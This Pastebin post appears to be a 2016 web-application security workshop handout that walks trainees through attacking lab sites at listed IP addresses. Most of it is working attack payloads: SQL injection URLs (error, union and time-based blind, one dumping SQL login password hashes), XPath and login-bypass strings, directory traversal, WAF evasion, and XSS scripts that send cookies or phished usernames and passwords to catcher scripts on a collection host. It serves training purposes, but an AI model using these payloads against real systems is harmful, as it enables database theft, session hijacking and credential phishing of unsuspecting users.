Advertisement
joemccray

Secure Coding Workshop for Cascade Card

Feb 28th, 2016
1,171
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. ##################################
  2. # Secure Coding For Cascade Card #
  3. ##################################
  4.  
  5.  
  6. -------------------------------------------------------------------------------------------------------------------------------
  7. Slides to look at today:
  8. http://www.slideshare.net/SeniorStoryteller/lisa-conference-2014-devops-and-appsec-who-is-responsible
  9. http://www.slideshare.net/katyanton/owasp-toptenmapping201505lwc
  10.  
  11.  
  12. Recommended Videos to watch:
  13. https://vimeo.com/128563138
  14. https://vimeo.com/135747362
  15.  
  16. Slides for the videos:
  17. http://www.slideshare.net/gmaran23/beefing-up-security-in-aspnet-dot-net-bangalore
  18. http://www.slideshare.net/gmaran23/beefing-upsecurityinasp-netdotnetblraug082015
  19.  
  20.  
  21. Install the following Firefox Addons:
  22.  
  23. - ShowIP https://addons.mozilla.org/en-US/firefox/addon/showip/
  24. - Server Spy https://addons.mozilla.org/en-US/firefox/addon/server-spy/
  25. - FoxyProxy https://addons.mozilla.org/en-US/firefox/addon/foxyproxy-standard/
  26. - Tamper Data https://addons.mozilla.org/en-US/firefox/addon/tamper-data/
  27. - Wapalyzer https://addons.mozilla.org/en-US/firefox/addon/wappalyzer/
  28. - Firebug https://addons.mozilla.org/en-US/firefox/addon/firebug/
  29.  
  30.  
  31. #########################################
  32. # Day 1: Basic: Web Application Testing #
  33. #########################################
  34.  
  35. Most people are going to tell you reference the OWASP Testing guide.
  36. https://www.owasp.org/index.php/OWASP_Testing_Guide_v4_Table_of_Contents
  37.  
  38. I'm not a fan of it for the purpose of actual testing. It's good for defining the scope of an assessment, and defining attacks, but not very good for actually attacking a website.
  39.  
  40.  
  41. The key to doing a Web App Assessment is to ask yourself the 3 web questions on every page in the site.
  42.  
  43. 1. Does the website talk to a DB?
  44. - Look for parameter passing (ex: site.com/page.php?id=4)
  45. - If yes - try SQL Injection
  46.  
  47. 2. Can I or someone else see what I type?
  48. - If yes - try XSS
  49.  
  50. 3. Does the page reference a file?
  51. - If yes - try LFI/RFI
  52.  
  53. Let's start with some manual testing against 54.149.82.150
  54.  
  55.  
  56. Start here:
  57. http://54.149.82.150/
  58.  
  59.  
  60. There's no parameter passing on the home page so the answer to question 1 is NO.
  61. There is however a search box in the top right of the webpage, so the answer to question 2 is YES.
  62.  
  63. Try an XSS in the search box on the home page:
  64. <script>alert(123);</script>
  65.  
  66. Doing this gives us the following in the address bar:
  67. http://54.149.82.150/BasicSearch.aspx?Word=<script>alert(123);</script>
  68.  
  69. Ok, so we've verified that there is XSS in the search box.
  70.  
  71. Let's move on to the search box in the left of the page.
  72.  
  73. Let's give the newsletter signup box a shot
  74.  
  75. Moving on to the login page.
  76. http://54.149.82.150/login.aspx
  77.  
  78. I entered a single quote (') for both the user name and the password. I got the following error:
  79.  
  80. -----------------------------------------------------------------
  81. 'Users//User[@Name=''' and @Password=''']' has an invalid token.
  82. Description: An unhandled exception occurred during the execution of the current web request. Please review the stack trace for more information about the error and where it originated in the code.
  83.  
  84. Exception Details: System.Xml.XPath.XPathException: 'Users//User[@Name=''' and @Password=''']' has an invalid token.
  85.  
  86. Source Error:
  87.  
  88.  
  89. Line 112: doc.Load(Server.MapPath("") + @"\AuthInfo.xml");
  90. Line 113: string credential = "Users//User[@Name='" + UserName + "' and @Password='" + Password + "']";
  91. Line 114: XmlNodeList xmln = doc.SelectNodes(credential);
  92. Line 115: //String test = xmln.ToString();
  93. Line 116: if (xmln.Count > 0)
  94.  
  95. -----------------------------------------------------------------
  96.  
  97.  
  98. Hmm....System.Xml.XPath.XPathException.....that's not SQL.
  99.  
  100. WTF is this:
  101. Line 112: doc.Load(Server.MapPath("") + @"\AuthInfo.xml");
  102.  
  103.  
  104.  
  105.  
  106. In this case you'll have the trap the request with a proxy like:
  107. - Firefox Tamper Data
  108. - Burp Suite http://www.portswigger.net/Burp/proxy.html
  109. - WebScarab https://www.owasp.org/index.php/Category:OWASP_WebScarab_Project
  110. - Rat Proxy https://code.google.com/p/ratproxy/
  111. - Zap Proxy https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project
  112. - Paros http://sourceforge.net/projects/paros/
  113.  
  114.  
  115.  
  116. Let's go back to that page error message.....
  117.  
  118.  
  119. Let's check it out:
  120. http://54.149.82.150/AuthInfo.xml
  121.  
  122. Looks like we found passwords!!!!!!!!!!
  123.  
  124.  
  125. Looks like there no significant new functionality after logging in with the stolen credentials.
  126.  
  127. Going back to the homepage...let's see if we can see anything. Figured I'd click on one of the links
  128.  
  129.  
  130. http://54.149.82.150/bookdetail.aspx?id=2
  131.  
  132.  
  133. Ok, there is parameter passing (bookdetail.aspx?id=2).
  134.  
  135. The page name is: bookdetail.aspx
  136. The parameter name is: id
  137. The paramber value is: 2
  138.  
  139.  
  140. Let's try throwing a single quote (') in there:
  141.  
  142. http://54.149.82.150/bookdetail.aspx?id=2'
  143.  
  144.  
  145. I get the following error:
  146.  
  147. Unclosed quotation mark after the character string ''.
  148. Description: An unhandled exception occurred during the execution of the current web request. Please review the stack trace for more information about the error and where it originated in the code.
  149.  
  150. Exception Details: System.Data.SqlClient.SqlException: Unclosed quotation mark after the character string ''.
  151.  
  152.  
  153.  
  154.  
  155.  
  156.  
  157.  
  158.  
  159.  
  160.  
  161. #############################################################################
  162. # SQL Injection #
  163. # https://s3.amazonaws.com/StrategicSec-Files/1-Intro_To_SQL_Intection.pptx #
  164. #############################################################################
  165.  
  166.  
  167. - Another quick way to test for SQLI is to remove the paramter value
  168.  
  169.  
  170. #############################
  171. # Error-Based SQL Injection #
  172. #############################
  173. http://54.149.82.150/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(0))--
  174. http://54.149.82.150/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(1))--
  175. http://54.149.82.150/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(2))--
  176. http://54.149.82.150/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(3))--
  177. http://54.149.82.150/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(4))--
  178. http://54.149.82.150/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(N))-- NOTE: "N" - just means to keep going until you run out of databases
  179. http://54.149.82.150/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85))--
  180. http://54.149.82.150/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85) and name>'bookmaster')--
  181. http://54.149.82.150/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85) and name>'sysdiagrams')--
  182.  
  183.  
  184.  
  185.  
  186. #############################
  187. # Union-Based SQL Injection #
  188. #############################
  189. http://54.149.82.150/bookdetail.aspx?id=2 order by 100--
  190. http://54.149.82.150/bookdetail.aspx?id=2 order by 50--
  191. http://54.149.82.150/bookdetail.aspx?id=2 order by 25--
  192. http://54.149.82.150/bookdetail.aspx?id=2 order by 10--
  193. http://54.149.82.150/bookdetail.aspx?id=2 order by 5--
  194. http://54.149.82.150/bookdetail.aspx?id=2 order by 6--
  195. http://54.149.82.150/bookdetail.aspx?id=2 order by 7--
  196. http://54.149.82.150/bookdetail.aspx?id=2 order by 8--
  197. http://54.149.82.150/bookdetail.aspx?id=2 order by 9--
  198. http://54.149.82.150/bookdetail.aspx?id=2 union all select 1,2,3,4,5,6,7,8,9--
  199.  
  200. We are using a union select statement because we are joining the developer's query with one of our own.
  201. Reference:
  202. http://www.techonthenet.com/sql/union.php
  203. The SQL UNION operator is used to combine the result sets of 2 or more SELECT statements.
  204. It removes duplicate rows between the various SELECT statements.
  205.  
  206. Each SELECT statement within the UNION must have the same number of fields in the result sets with similar data types.
  207.  
  208. http://54.149.82.150/bookdetail.aspx?id=-2 union all select 1,2,3,4,5,6,7,8,9--
  209.  
  210. Negating the paramter value (changing the id=2 to id=-2) will force the pages that will echo back data to be displayed.
  211.  
  212. http://54.149.82.150/bookdetail.aspx?id=-2 union all select 1,user,@@version,4,5,6,7,8,9--
  213. http://54.149.82.150/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,7,8,9--
  214. http://54.149.82.150/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,db_name(0),8,9--
  215. http://54.149.82.150/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,master.sys.fn_varbintohexstr(password_hash),8,9 from master.sys.sql_logins--
  216.  
  217.  
  218.  
  219.  
  220.  
  221. ###############################
  222. # Blind SQL Injection Testing #
  223. ###############################
  224. Time-Based BLIND SQL INJECTION - EXTRACT DATABASE USER
  225.  
  226. 3 - Total Characters
  227. http://54.149.82.150/bookdetail.aspx?id=2; IF (LEN(USER)=1) WAITFOR DELAY '00:00:10'--
  228. http://54.149.82.150/bookdetail.aspx?id=2; IF (LEN(USER)=2) WAITFOR DELAY '00:00:10'--
  229. http://54.149.82.150/bookdetail.aspx?id=2; IF (LEN(USER)=3) WAITFOR DELAY '00:00:10'-- (Ok, the username is 3 chars long - it waited 10 seconds)
  230.  
  231. Let's go for a quick check to see if it's DBO
  232. http://54.149.82.150/bookdetail.aspx?id=2; IF ((USER)='dbo') WAITFOR DELAY '00:00:10'--
  233.  
  234. Yup, it waited 10 seconds so we know the username is 'dbo' - let's give you the syntax to verify it just for fun.
  235.  
  236. D - 1st Character
  237. http://54.149.82.150/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=97) WAITFOR DELAY '00:00:10'--
  238. http://54.149.82.150/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=98) WAITFOR DELAY '00:00:10'--
  239. http://54.149.82.150/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=99) WAITFOR DELAY '00:00:10'--
  240. http://54.149.82.150/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=100) WAITFOR DELAY '00:00:10'-- (Ok, first letter is a 100 which is the letter 'd' - it waited 10 seconds)
  241.  
  242. B - 2nd Character
  243. http://54.149.82.150/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),2,1)))>97) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds
  244. http://54.149.82.150/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),2,1)))=98) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds
  245.  
  246. O - 3rd Character
  247. http://54.149.82.150/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>97) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds
  248. http://54.149.82.150/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>115) WAITFOR DELAY '00:00:10'--
  249. http://54.149.82.150/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>105) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds
  250. http://54.149.82.150/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>110) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds
  251. http://54.149.82.150/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))=109) WAITFOR DELAY '00:00:10'--
  252. http://54.149.82.150/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))=110) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds
  253.  
  254.  
  255.  
  256.  
  257.  
  258.  
  259.  
  260.  
  261.  
  262.  
  263. ###################################################################
  264. # What is XSS #
  265. # https://s3.amazonaws.com/StrategicSec-Files/2-Intro_To_XSS.pptx #
  266. ###################################################################
  267.  
  268. OK - what is Cross Site Scripting (XSS)
  269.  
  270. 1. Use Firefox to browse to the following location:
  271.  
  272. http://54.186.248.116/xss_practice/
  273.  
  274. A really simple search page that is vulnerable should come up.
  275.  
  276.  
  277.  
  278.  
  279. 2. In the search box type:
  280.  
  281. <script>alert('So this is XSS')</script>
  282.  
  283.  
  284. This should pop-up an alert window with your message in it proving XSS is in fact possible.
  285. Ok, click OK and then click back and go back to http://54.186.248.116/xss_practice/
  286.  
  287.  
  288. 3. In the search box type:
  289.  
  290. <script>alert(document.cookie)</script>
  291.  
  292.  
  293. This should pop-up an alert window with your message in it proving XSS is in fact possible and your cookie can be accessed.
  294. Ok, click OK and then click back and go back to http://54.186.248.116/xss_practice/
  295.  
  296. 4. Now replace that alert script with:
  297.  
  298. <script>document.location="http://54.186.248.116/xss_practice/cookie_catcher.php?c="+document.cookie</script>
  299.  
  300.  
  301. This will actually pass your cookie to the cookie catcher that we have sitting on the webserver.
  302.  
  303.  
  304. 5. Now view the stolen cookie at:
  305. http://54.186.248.116/xss_practice/cookie_stealer_logs.html
  306.  
  307.  
  308. The cookie catcher writes to this file and all we have to do is make sure that it has permissions to be written to.
  309.  
  310.  
  311.  
  312.  
  313.  
  314.  
  315. ############################
  316. # A Better Way To Demo XSS #
  317. ############################
  318.  
  319.  
  320. Let's take this to the next level. We can modify this attack to include some username/password collection. Paste all of this into the search box.
  321.  
  322.  
  323. Use Firefox to browse to the following location:
  324.  
  325. http://54.186.248.116/xss_practice/
  326.  
  327.  
  328.  
  329. Paste this in the search box
  330. ----------------------------
  331.  
  332.  
  333. Option 1
  334. --------
  335.  
  336. <script>
  337. password=prompt('Your session is expired. Please enter your password to continue',' ');
  338. document.write("<img src=\"http://54.186.248.116/xss_practice/passwordgrabber.php?password=" +password+"\">");
  339. </script>
  340.  
  341.  
  342. Now view the stolen cookie at:
  343. http://54.186.248.116/xss_practice/passwords.html
  344.  
  345.  
  346.  
  347. Option 2
  348. --------
  349. <script>
  350. username=prompt('Please enter your username',' ');
  351. password=prompt('Please enter your password',' ');
  352. document.write("<img src=\"http://54.186.248.116/xss_practice/unpw_catcher.php?username="+username+"&password="+password+"\">");
  353. </script>
  354.  
  355.  
  356.  
  357.  
  358. Now view the stolen cookie at:
  359. http://54.186.248.116/xss_practice/username_password_logs.html
  360.  
  361.  
  362.  
  363.  
  364. -------------------------------------------------------------------------------------------------------------------------------
  365. ASP.NET/C#
  366. Slides to look at today:
  367. http://www.slideshare.net/gmaran23/beefing-up-security-in-aspnet-dot-net-bangalore
  368. http://www.slideshare.net/gmaran23/beefing-upsecurityinasp-netdotnetblraug082015
  369. https://www.owasp.org/images/c/c4/IOActive-OWASP-London-200907.pdf
  370. http://www.slideshare.net/SharePointRadi/aspnet-web-security-48518474
  371.  
  372.  
  373. ###########################################
  374. # Day 2: Advanced Web Application Testing #
  375. ###########################################
  376.  
  377. - Another way is to see if you can get the backend to perform an arithmetic function
  378. http://54.149.82.150/bookdetail.aspx?id=(2)
  379. http://54.149.82.150/bookdetail.aspx?id=(4-2)
  380. http://54.149.82.150/bookdetail.aspx?id=(4-1)
  381.  
  382.  
  383.  
  384. http://54.149.82.150/bookdetail.aspx?id=2 or 1=1--
  385. http://54.149.82.150/bookdetail.aspx?id=2 or 1=2--
  386. http://54.149.82.150/bookdetail.aspx?id=1*1
  387. http://54.149.82.150/bookdetail.aspx?id=2 or 1 >-1#
  388. http://54.149.82.150/bookdetail.aspx?id=2 or 1<99#
  389. http://54.149.82.150/bookdetail.aspx?id=2 or 1<>1#
  390. http://54.149.82.150/bookdetail.aspx?id=2 or 2 != 3--
  391. http://54.149.82.150/bookdetail.aspx?id=2 &0#
  392.  
  393.  
  394. #########################################
  395. # Let's kick it up a notch with ASP.NET #
  396. # http://54.200.178.220/ #
  397. #########################################
  398.  
  399.  
  400. The trading Web App is on http://54.200.178.220/
  401.  
  402.  
  403. Try the following in the search box:
  404. <script>alert(123);</script>
  405. ' or 1=1
  406. ' and a=a
  407. 1=1
  408. Joe'+OR+1=1;--
  409.  
  410.  
  411. <script>alert(123);</script>
  412.  
  413. Open a new tab in firefox and try this:
  414. http://54.200.178.220/Searchresult.aspx?<script>alert(123);</script>=ScriptName
  415.  
  416.  
  417. Try the contact us form.
  418. Open a new tab in firefox and try this:
  419. http://54.200.178.220/OpenPage.aspx?filename=../../../../../../windows/win.ini
  420.  
  421. Try this on the inquiry form:
  422. Joe McCray
  423. 1234567890
  424. joe@strategicsec.com') waitfor delay '00:00:10'--
  425.  
  426.  
  427. Login Box:
  428.  
  429. ' or 1=1 or ''='
  430. anything (click login instead of pressing enter)
  431.  
  432.  
  433.  
  434. Tamper Data: (notice 2 session IDs)
  435.  
  436. AcmeTrading=a4b796687b846dd4a34931d708c62b49; SessionID is md5
  437. IsAdmin=yes;
  438. ASP.NET_SessionId=d10dlsvaq5uj1g550sotcg45
  439.  
  440.  
  441.  
  442. Profile - Detail (tamper data)
  443. Disposition: form-data; name="ctl00$contentMiddle$HiddenField1"\r\n\r\njoe\r\n
  444. joe|set
  445.  
  446.  
  447. xss_upload.txt (Upload Bulk Order)
  448. <script>alert(123);</script>
  449.  
  450.  
  451.  
  452.  
  453. ############################
  454. # Trading Web App with WAF #
  455. # http://54.213.131.105 #
  456. ############################
  457.  
  458.  
  459. Try the following in the search box:
  460. <script>alert(123);</script>
  461. <script>alert(123);</script
  462. <script>alert(123)
  463. <script>alert
  464. <script>
  465. <script
  466. <scrip
  467. <scri
  468. <scr
  469. <sc
  470. <s
  471. <p
  472. <
  473. < s
  474. Joe'+OR+1=1;--
  475.  
  476.  
  477. Open a new tab in firefox and try this:
  478. http://54.213.131.105/Searchresult.aspx?%u003cscript>prompt(123)%u003c/script>=ScriptName
  479.  
  480.  
  481. xss_upload.txt (Upload Bulk Order)
  482. <script>alert(123);</script>
  483.  
  484.  
  485. Login Box:
  486.  
  487. ' or 1=1 or ''='
  488. anything
  489.  
  490.  
  491. #########################
  492. # Setting up Burp Suite #
  493. #########################
  494. Download latest free version of Burp at http://www.portswigger.net/burp/download.html
  495. Make sure that burpsuite_free_v1.6.31.jar is set as executable (chmod +x burpsuite_free_v1.6.31.jar) and then run:
  496.  
  497. java -jar burpsuite_free_v1.6.31.jar
  498.  
  499. - Click the "Proxy" tab
  500. - Click the "Options" sub tab
  501. - Click “Edit” in the “Proxy Listeners” section
  502. - In the “Edit proxy listener” pop up select “Binding Tab” select “loopback only”
  503. - In the same pop up make sure that the bind port is 8080
  504. - In the same pop up select the “Certificate” tab
  505. - Ensure that burp is configured to "generate CA-signed per-host certificates"
  506.  
  507. Open Firefox
  508. - Click "Edit"
  509. - Click “Preferences"
  510. - Click the "Advanced" tab
  511. - Click the "Network" sub tab
  512. - Click the connection "settings" button
  513. - Click "manual proxy configuration"
  514. set it to 127.0.0.1 port 8080
  515. check "Use this proxy server for all protocols"
  516. - Remove both the "localhost, 127.0.0.1" text from the "No Proxy For:" line
  517.  
  518.  
  519. Configure your browser to use Burp as its proxy, and configure Burp's proxy listener to generate CA-signed per-host certificates.
  520.  
  521. Visit any SSL-protected URL.
  522.  
  523. On the “This Connection is Untrusted” screen, click on “Add Exception”
  524. Click "Get Certificate", then click "View".
  525.  
  526. In the “Details” tab, select the root certificate in the tree (PortSwigger CA).
  527.  
  528. Click "Export" and save the certificate as "BurpCert" on the Desktop.
  529.  
  530. Close Certificate Viewer dialog and click “Cancel” on the “Add Security Exception” dialog
  531. Go to Edit | Preferences
  532. Click “Advanced” and go to “Certificates” tab
  533. Click “View Certificates”
  534.  
  535. Click "Import" and select the certificate file that you previously saved.
  536.  
  537. On the "Downloading Certificate" dialog, check the box "Trust this CA to identify web sites", and click "OK".
  538.  
  539. Close all dialogs and restart Firefox
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement